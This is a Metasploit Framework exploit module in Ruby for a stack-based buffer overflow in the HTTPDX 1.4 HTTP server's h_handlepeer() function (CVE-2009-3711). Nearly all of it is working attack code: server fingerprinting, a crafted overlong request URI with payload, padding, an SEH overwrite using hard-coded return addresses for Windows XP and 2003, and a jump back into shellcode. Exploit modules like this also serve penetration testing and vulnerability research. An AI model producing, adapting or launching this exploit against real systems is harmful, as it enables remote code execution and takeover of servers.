httpdx – ‘h_handlepeer()’ Remote Buffer Overflow (Metasploit)
## # $Id: httpdx_handlepeer.rb 9934 2010-07-26 23:22:42Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## ## # httpdx_handlepeer.rb # # HTTPDX 'h_handlepeer()' Function Buffer Overflow exploit for the Metasploit Framework # # Tested successfully on the following platforms # - HTTPDX 1.4 on Microsoft Windows XP SP3 # # This vulnerability was found by Pankaj Kohli, see references. # # Trancer # http://www.rec-sec.com ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking HttpFingerprint = { :pattern => [ /httpdx\/.* \(Win32\)/ ] } include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'HTTPDX h_handlepeer() Function Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow vulnerability in HTTPDX HTTP server 1.4. The vulnerability is caused due to a boundary error within the "h_handlepeer()" function in http.cpp. By sending an overly long HTTP request, an attacker can overrun a buffer and execute arbitrary code. }, 'Author' => [ 'Pankaj Kohli <pankaj208[at]gmail.com>', # Original exploit [see References] 'Trancer <mtrancer[at]gmail.com>', # Metasploit implementation 'jduck' ], 'Version' => '$Revision: 9934 $', 'References' => [ [ 'OSVDB', '58714' ], [ 'CVE', '2009-3711' ], [ 'URL', 'http://www.pank4j.com/exploits/httpdxb0f.php' ], [ 'URL', 'http://www.rec-sec.com/2009/10/16/httpdx-buffer-overflow-exploit/' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process' }, 'Privileged' => true, 'Payload' => { 'Space' => 472, # other characters get mangled, but only in a temporary buffer 'BadChars' => "\x00\x0a\x0d\x20\x25\x2e\x2f\x3f\x5c", 'StackAdjustment' => -3500, # 'DisableNops' => 'True' }, 'Platform' => 'win', 'Targets' => [ [ 'httpdx 1.4 - Windows XP SP3 English', { 'Offset' => 476, 'Ret' => 0x63b81a07, # seh handler (pop/pop/ret in n.dll) 'Readable' => 0x63b80131 # early in n.dll } ], [ 'httpdx 1.4 - Windows 2003 SP2 English', { 'Offset' => 472, 'Ret' => 0x63b81a07, # seh handler (pop/pop/ret in n.dll) 'Readable' => 0x63b80131 # early in n.dll } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Oct 08 2009' )) end def check info = http_fingerprint # check method if info and (info =~ /httpdx\/(.*) \(Win32\)/) return Exploit::CheckCode::Vulnerable end Exploit::CheckCode::Safe end def exploit uri = payload.encoded if target['Offset'] > payload_space pad = target['Offset'] - payload_space uri << rand_text(pad) end uri << generate_seh_record(target.ret) # jmp back to shellcode uri << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + (target['Offset'] + 5).to_s).encode_string # extra causing hitting end of the stack uri << rand_text_alphanumeric(1024) uri[620,4] = [target['Readable']].pack('V') # arg (must be readable) sploit = '/' + rand_text(3) + '=' + uri # an empty host header gives us 512 bytes in the client structure # (the client->filereq and client->host buffers are adjacement in memory) datastore['VHOST'] = '' print_status("Trying target #{target.name}...") res = send_request_raw( { 'uri' => sploit }, 5) handler end end |